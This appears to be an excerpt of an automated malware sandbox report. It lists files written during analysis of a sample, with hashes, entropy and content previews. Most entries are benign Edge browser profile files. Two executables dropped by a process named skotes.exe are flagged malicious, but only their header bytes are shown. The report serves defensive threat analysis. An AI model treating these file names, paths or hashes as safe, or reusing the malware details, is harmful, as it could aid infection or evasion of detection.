Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\90668c4e-eb52-4551-9e2c-b08e99123035.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08980786527525
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWOdi1zNtPMGkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynilkzItSmd6qE7lFoC
MD5:	3CD4EFDAEA3BABB5B9DA94B2EE12537A
SHA1:	7FFEEF6779E5CFF3DC32878AD93273D746A0684B
SHA-256:	6201441907F4C13A901A0B067A6AF9B45FDA6471DAF0D078FD19C5A868373025
SHA-512:	23DD7B39CD83BB60FC5F0F76D43408FED88C469CD05B60D1F7C6EF20EDC45F44D1BFF6B7168C1DE0A78B9551D586AE638AA4E5ACB32D96443B23A6F43D0A2873
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9667ce70-2633-4440-853f-b41bd9c771bf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44922
Entropy (8bit):	6.095046958714403
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW+Ri1zNthnNhUiDukKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynaPKtSmd6qE7lFoC
MD5:	41DE857748D5B47007500C13975BC413
SHA1:	F95811320D6FD824D950F243458F741E8CA3B5D1
SHA-256:	9AFD3B1BDD59CFA28C5FA6D82D8EA3B5563DE34A0322BB02169EB2AC004A506C
SHA-512:	8839E684B691AE5E2E5E6F7F46F1AE2D6DCA0C071BB64155F1ECBF401722BCB88730BFBAE227A74ACD86F28A38F44CC553C2CFDA7759F9D7D001157C3C88725C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67603304-5CC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04670737804704367
Encrypted:	false
SSDEEP:	192:rlsI0m5tmNnOAtKYYJgA8x5XSggykfhbNNETUsIfdGRQchvMABnPs1n8y08Tcm2D:5t0Ut6qgk9hZfuxMAFPE08T2RGOD
MD5:	A050A22FF17AA5D4183ECD9088C23668
SHA1:	E750076FE35371F97EF17F0BE1FFC55F70EACC24
SHA-256:	12F37C7D8A6A56D18702326E32FD88F8B4B20E53BDCB5633AAC6E38359A2A7C6
SHA-512:	FDD86F5866B0468C85FA108035CCB896ADCA2225874A8CE0F0DA46EAFCC4759C531E940CEC55B08CFB0F43C6C1ADE6384A65630285147715690B2E5331DB46F4
Malicious:	false
Preview:	...@..@...@.....C.].....@................e...U..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".jkwush20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08980786527525
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWOdi1zNtPMGkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynilkzItSmd6qE7lFoC
MD5:	3CD4EFDAEA3BABB5B9DA94B2EE12537A
SHA1:	7FFEEF6779E5CFF3DC32878AD93273D746A0684B
SHA-256:	6201441907F4C13A901A0B067A6AF9B45FDA6471DAF0D078FD19C5A868373025
SHA-512:	23DD7B39CD83BB60FC5F0F76D43408FED88C469CD05B60D1F7C6EF20EDC45F44D1BFF6B7168C1DE0A78B9551D586AE638AA4E5ACB32D96443B23A6F43D0A2873
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4cf23.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08980786527525
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWOdi1zNtPMGkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynilkzItSmd6qE7lFoC
MD5:	3CD4EFDAEA3BABB5B9DA94B2EE12537A
SHA1:	7FFEEF6779E5CFF3DC32878AD93273D746A0684B
SHA-256:	6201441907F4C13A901A0B067A6AF9B45FDA6471DAF0D078FD19C5A868373025
SHA-512:	23DD7B39CD83BB60FC5F0F76D43408FED88C469CD05B60D1F7C6EF20EDC45F44D1BFF6B7168C1DE0A78B9551D586AE638AA4E5ACB32D96443B23A6F43D0A2873
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4cf62.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08980786527525
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWOdi1zNtPMGkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynilkzItSmd6qE7lFoC
MD5:	3CD4EFDAEA3BABB5B9DA94B2EE12537A
SHA1:	7FFEEF6779E5CFF3DC32878AD93273D746A0684B
SHA-256:	6201441907F4C13A901A0B067A6AF9B45FDA6471DAF0D078FD19C5A868373025
SHA-512:	23DD7B39CD83BB60FC5F0F76D43408FED88C469CD05B60D1F7C6EF20EDC45F44D1BFF6B7168C1DE0A78B9551D586AE638AA4E5ACB32D96443B23A6F43D0A2873
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4dfae.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08980786527525
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWOdi1zNtPMGkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynilkzItSmd6qE7lFoC
MD5:	3CD4EFDAEA3BABB5B9DA94B2EE12537A
SHA1:	7FFEEF6779E5CFF3DC32878AD93273D746A0684B
SHA-256:	6201441907F4C13A901A0B067A6AF9B45FDA6471DAF0D078FD19C5A868373025
SHA-512:	23DD7B39CD83BB60FC5F0F76D43408FED88C469CD05B60D1F7C6EF20EDC45F44D1BFF6B7168C1DE0A78B9551D586AE638AA4E5ACB32D96443B23A6F43D0A2873
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4dfdd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08980786527525
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWOdi1zNtPMGkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynilkzItSmd6qE7lFoC
MD5:	3CD4EFDAEA3BABB5B9DA94B2EE12537A
SHA1:	7FFEEF6779E5CFF3DC32878AD93273D746A0684B
SHA-256:	6201441907F4C13A901A0B067A6AF9B45FDA6471DAF0D078FD19C5A868373025
SHA-512:	23DD7B39CD83BB60FC5F0F76D43408FED88C469CD05B60D1F7C6EF20EDC45F44D1BFF6B7168C1DE0A78B9551D586AE638AA4E5ACB32D96443B23A6F43D0A2873
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQp:YQ3Kq9X0dMgAEiLIj
MD5:	8549C255650427D618EF18B14DFD2B56
SHA1:	8272585186777B344DB3960DF62B00F570D247F6
SHA-256:	40395D9CA4B65D48DEAC792844A77D4F8051F1CEF30DF561DACFEEED3C3BAE13
SHA-512:	E5BB8A0AD338372635C3629E306604E3DC5A5C26FB5547A3DD7E404E5261630612C07326E7EBF5B47ABAFADE8E555965A1A59A1EECFC496DCDD5003048898A8C
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f238db49-ed9f-4a54-9563-d9d42738ae31.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44922
Entropy (8bit):	6.095046958714403
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW+Ri1zNthnNhUiDukKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynaPKtSmd6qE7lFoC
MD5:	41DE857748D5B47007500C13975BC413
SHA1:	F95811320D6FD824D950F243458F741E8CA3B5D1
SHA-256:	9AFD3B1BDD59CFA28C5FA6D82D8EA3B5563DE34A0322BB02169EB2AC004A506C
SHA-512:	8839E684B691AE5E2E5E6F7F46F1AE2D6DCA0C071BB64155F1ECBF401722BCB88730BFBAE227A74ACD86F28A38F44CC553C2CFDA7759F9D7D001157C3C88725C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	965632
Entropy (8bit):	6.692642002047827
Encrypted:	false
SSDEEP:	12288:tqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgaUlJL1:tqDEvCTbMWu7rQYlBQcBiT6rprG8aiL
MD5:	7204BB7D150D6D2B21A5FFE9F3A9A017
SHA1:	3AF67E498F6204A88E767EC34CED2CE5FB731373
SHA-256:	70DD93E3CAD56F80A899295AEF97BEC87D01B2D2ABA82D67AE79E0BEA93F813E
SHA-512:	DE172C438010A05116CF23507FC68001FB120B45F715AD46CE16F7C48424D172E149E4E9D400B1446685548C456857169029A4E2F0AA9789D24239295D7BD50F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....`g..........".................w.............@.......................... ............@...@.......@.....................d...\|....@...P.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc....P...@...R..................@..@.reloc...u.......v...F..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1884672
Entropy (8bit):	7.949104699097024
Encrypted:	false
SSDEEP:	49152:5Ir6N++PRgxCGbe4K9FTTH/e3p7IJIZ1KFvGTPeMXPgnktG:t+PHbe4qe5601ssGM/Nt
MD5:	9B88AFC4511D0FE8ACA6080D34F2DD66
SHA1:	4D0ABCC2F053E2B17D3064F65DFFC171F873B043
SHA-256:	5D2B5F0D8B9FBFB231B99678BB332BEE9CFEF9AA6C2ED7E994DBABBB83639004
SHA-512:	F4E9C5BBBB27EB07C192226390833714B82B94CFA4A9FB6B0E0A75ECE7B51EB009B9C2BDC3B70C2EE77A56B7496C1251C50888471CDDF32A2F307EAF134B1490
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................J...........@...........................J...........@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......\..............@... ..+..@.......^..............@...avxzjrga.@...@0..<...`..............@...vgfnourc......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

